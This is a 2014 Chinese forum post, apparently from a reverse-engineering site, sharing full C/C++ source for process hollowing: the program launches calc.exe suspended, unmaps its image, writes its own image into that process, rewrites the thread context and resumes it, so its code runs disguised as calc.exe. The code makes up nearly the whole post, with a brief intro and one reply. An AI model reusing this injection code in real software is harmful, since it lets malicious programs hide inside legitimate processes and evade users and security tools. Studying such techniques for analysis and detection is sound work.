首页
社区
课程
招聘
[旧帖] [分享]单EXE注入傀儡进程 0.00雪花
发表于: 2014-1-20 23:01 2865

[旧帖] [分享]单EXE注入傀儡进程 0.00雪花

2014-1-20 23:01
2865
关于单EXE注入傀儡进程的源代码有不少,这代码也是参考了外面的傀儡进程源码,
不能算是原创,不过至少自己重新写了一遍理解了很多,分享给需要的朋友吧。
傀儡进程注入需要熟悉PE结构,当然这代码算是很挫的了,至少他还是有价值的
在04年有一个PE注入的代码,不过里面的结构体都是作者自己封装的 不利于理解
这个我加了中文注释,熟悉PE结构的朋友很容易就看明白了,不知道能否申请一个邀请码。

先上h文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define dosHdrlen      sizeof(IMAGE_DOS_HEADER)
#define ntHdrslen      sizeof(IMAGE_NT_HEADERS)
#define fileHdrlen     sizeof(IMAGE_FILE_HEADER)
#define optionHdrlen   sizeof(IMAGE_OPTIONAL_HEADER)
#define sectionHdrlen  sizeof(IMAGE_SECTION_HEADER)
#define INJECTEXEFILE  _T("c:\\windows\\system32\\calc.exe")
 
typedef struct _PROCE_INFO
{
    unsigned long ulBaseAddr;
    unsigned long ulImageSize;
}PROCEINFO, *PPROCEINFO;
 
 
int  InjectEXE();
int  calctotalImageSize(HANDLE hModule, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr);
bool doInject(int Imagesize, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);
bool CreateInjectEXE(PPROCEINFO proceInfo, PCONTEXT threadCxt, PPROCESS_INFORMATION pi);
bool unloadMemImage(HANDLE hProcess, unsigned long ulBaseAddr);

cpp文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
int InjectEXE()
{
    TCHAR tzFileName[MAX_PATH];
    GetModuleFileName(NULL, tzFileName, MAX_PATH);
    if (_tcsstr(tzFileName, _T("calc.exe")) != NULL)
    { // 判断是否在傀儡进程内
        OutputDebugString(tzFileName);
        return 0;
    }
    else
    {
        IMAGE_DOS_HEADER      dosHdr;
        IMAGE_FILE_HEADER     fileHdr;
        IMAGE_OPTIONAL_HEADER optionHdr;
        PIMAGE_SECTION_HEADER sectionHdr;
 
                // 获取加载基址
        HANDLE hModuleBase = GetModuleHandle(NULL);
                // 计算镜像大小,其实可以直接读取PE结构里面的镜像大小
                // 但如果你自己写LOAD的话 就需要去对齐了
        ULONG  ImageSize   = calctotalImageSize(hModuleBase, &dosHdr, &fileHdr, &optionHdr, §ionHdr);
 
        printf("ImageBase 0x%08x\n", optionHdr.ImageBase);
        printf("SizeOfImage %d\n", ImageSize);
        printf("EntryPoint 0x%08x\n", optionHdr.AddressOfEntryPoint);
 
        putchar('\n');
 
        if(doInject(ImageSize, &fileHdr, &optionHdr, sectionHdr))
            return 1;
    }
 
    return 1;
}
 
int calctotalImageSize(HANDLE hModule, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr)
{
    // 拷贝数据到DOS结构
    memcpy(dosHdr, (void*)hModule, dosHdrlen);
    if (dosHdr->e_magic != 0x5a4d)
    {
        printf("the file not MZ signature.\n");
        return false;
    }
 
    // 指针指向真正的PE结构
    unsigned long offset = (unsigned long)hModule + dosHdr->e_lfanew + sizeof(long);
 
    // 拷贝FILE结构
    memcpy(fileHdr, (void*)offset, fileHdrlen);
    if (fileHdr->NumberOfSections < 2 ||
        fileHdr->SizeOfOptionalHeader != optionHdrlen)
    {
        return false;
    }
 
    // 拷贝OPTIONAL结构
    offset += fileHdrlen;
    memcpy(optionHdr, (void*)offset, optionHdrlen);
 
    // 读取PE区段表数据
    offset += optionHdrlen;
    unsigned short numberofsection = fileHdr->NumberOfSections;
    *sectionHdr = new IMAGE_SECTION_HEADER[numberofsection];
    memset(*sectionHdr, 0, numberofsection * sectionHdrlen);
    memcpy(*sectionHdr, (void*)offset, numberofsection * sectionHdrlen);
 
    // 获取内存对齐值
    unsigned long  nRetval = 0;
    unsigned long  alignment = optionHdr->SectionAlignment;
 
    // 模除取余 如果不够4096 则向上保持内存页对齐
 
    if (optionHdr->SizeOfHeaders % alignment == 0)
        nRetval += optionHdr->SizeOfHeaders;
    else
    {
        int val = optionHdr->SizeOfHeaders / alignment;
        val ++;
        nRetval += (val * alignment);
    }
 
    // for循环对齐区段表在内存中所占的大小
    PIMAGE_SECTION_HEADER sectiontemp = *sectionHdr;
    for (short i = 0; i < numberofsection; i++)
    {
        if (sectiontemp[i].Misc.VirtualSize)
        {
            if (sectiontemp[i].Misc.VirtualSize % alignment == 0)
                nRetval += sectiontemp[i].Misc.VirtualSize;
            else
            {
                int val = sectiontemp[i].Misc.VirtualSize / alignment;
                val ++;
                nRetval += (val * alignment);
            }
        }
    }
 
    return nRetval;
}
 
bool doInject(int Imagesize, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
{
    CONTEXT   threadCxt;
    PROCEINFO proceInfo;
    PROCESS_INFORMATION pi;
 
    if (CreateInjectEXE(&proceInfo, &threadCxt, &pi))
    {
        printf("puppet process id %d Size %d\n", pi.dwProcessId, proceInfo.ulImageSize);
        printf("puppet process imagebase 0x%08x\n", proceInfo.ulBaseAddr);
 
        putchar('\n');
 
        void *lptrloc = (void *)NULL;
 
                // 如果自身基址与傀儡进程相同
                // 并且自身镜像大小小于傀儡进程镜像大小
                // 则把这块内存设置可读可写属性
        if (optionHdr->ImageBase == proceInfo.ulBaseAddr && Imagesize <= (int)proceInfo.ulImageSize)
        {
            lptrloc = (void *)proceInfo.ulBaseAddr;
            VirtualProtectEx(pi.hProcess, (void *)proceInfo.ulBaseAddr, Imagesize, PAGE_EXECUTE_READWRITE, NULL);
        }
        else
        {
                        // 卸载内存空间数据
            if (unloadMemImage(pi.hProcess, proceInfo.ulBaseAddr))
            {       // 重新申请自身镜像大小的内存空间
                lptrloc = VirtualAllocEx(pi.hProcess, (void *)optionHdr->ImageBase, Imagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                if (lptrloc)
                {
                    printf("lptrloc new address 0x%08x\n", lptrloc);
                }
            }
        }
 
        if (!lptrloc)
        {
            lptrloc = VirtualAllocEx(pi.hProcess, (void *)NULL, Imagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        }
 
        unsigned long ulWritten;
        unsigned long *ulPebInfo = (unsigned long *)threadCxt.Ebx; // 取lptrloc在内存的地址
        int nRetval = WriteProcessMemory(pi.hProcess, &ulPebInfo[2], &lptrloc, sizeof(void *), &ulWritten);
                // 自身的数据写入到傀儡进程中
        if (nRetval && WriteProcessMemory(pi.hProcess, lptrloc, (void *)optionHdr->ImageBase, Imagesize, &ulWritten))
        {
            threadCxt.ContextFlags = CONTEXT_FULL;
            if ((unsigned long)lptrloc == proceInfo.ulBaseAddr)
            {
                threadCxt.Eax = optionHdr->ImageBase + optionHdr->AddressOfEntryPoint;
            }
            else
                threadCxt.Eax = (unsigned long)lptrloc + optionHdr->AddressOfEntryPoint;
             
            printf("fix threadCxt.Eax 0x%08x\n", threadCxt.Eax);
            putchar('\n');
             
            SetThreadContext(pi.hThread, &threadCxt);
            ResumeThread(pi.hThread);
        }
    }
 
    return true;
}
 
bool CreateInjectEXE(PPROCEINFO proceInfo, PCONTEXT threadCxt, PPROCESS_INFORMATION pi)
{
    STARTUPINFO si = {0};
    si.cb = sizeof(si);
 
        // 创建挂起进程
    if (CreateProcess(INJECTEXEFILE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, pi))
    {
        // 获取傀儡进程 主线程上下文
        threadCxt->ContextFlags = CONTEXT_FULL;
        GetThreadContext(pi->hThread, threadCxt);
 
        // 获取傀儡进程基址
        unsigned long ulBytes;
        unsigned long *ulPebInfo = (unsigned long*)threadCxt->Ebx;
        ReadProcessMemory(pi->hProcess, &ulPebInfo[2], (void*)&(proceInfo->ulBaseAddr), sizeof(long), &ulBytes);
 
        MEMORY_BASIC_INFORMATION memInfo;
        memset(&memInfo, 0, sizeof(memInfo));
 
        // 计算傀儡进程所占用的镜像大小
        unsigned long ulmemAddr = proceInfo->ulBaseAddr;
        while (VirtualQueryEx(pi->hProcess, (void*)ulmemAddr, &memInfo, sizeof(memInfo)))
        {
            if (memInfo.State == MEM_FREE)
                break;
            ulmemAddr += memInfo.RegionSize;
        }
 
        proceInfo->ulImageSize  = ulmemAddr - proceInfo->ulBaseAddr;
        return true;
    }
 
    return false;
}
 
bool unloadMemImage(HANDLE hProcess, unsigned long ulBaseAddr)
{
    typedef unsigned long (__stdcall *PTRZwUnmapViewOfSection) (HANDLE, void*);
    PTRZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;
 
    HMODULE hInst = LoadLibrary(_T("ntdll.dll"));
    if (hInst)
    {
        ZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(hInst, "ZwUnmapViewOfSection");
        if (ZwUnmapViewOfSection(hProcess, (void*)ulBaseAddr) == 0)
        {
            FreeLibrary(hInst);
            return true;
        }
    }
 
    return false;
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费
支持
分享
最新回复 (1)
雪    币: 3496
活跃值: (749)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
赞一个!!有个问题是,注入后能否孑类化呢?
2014-2-4 18:28
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册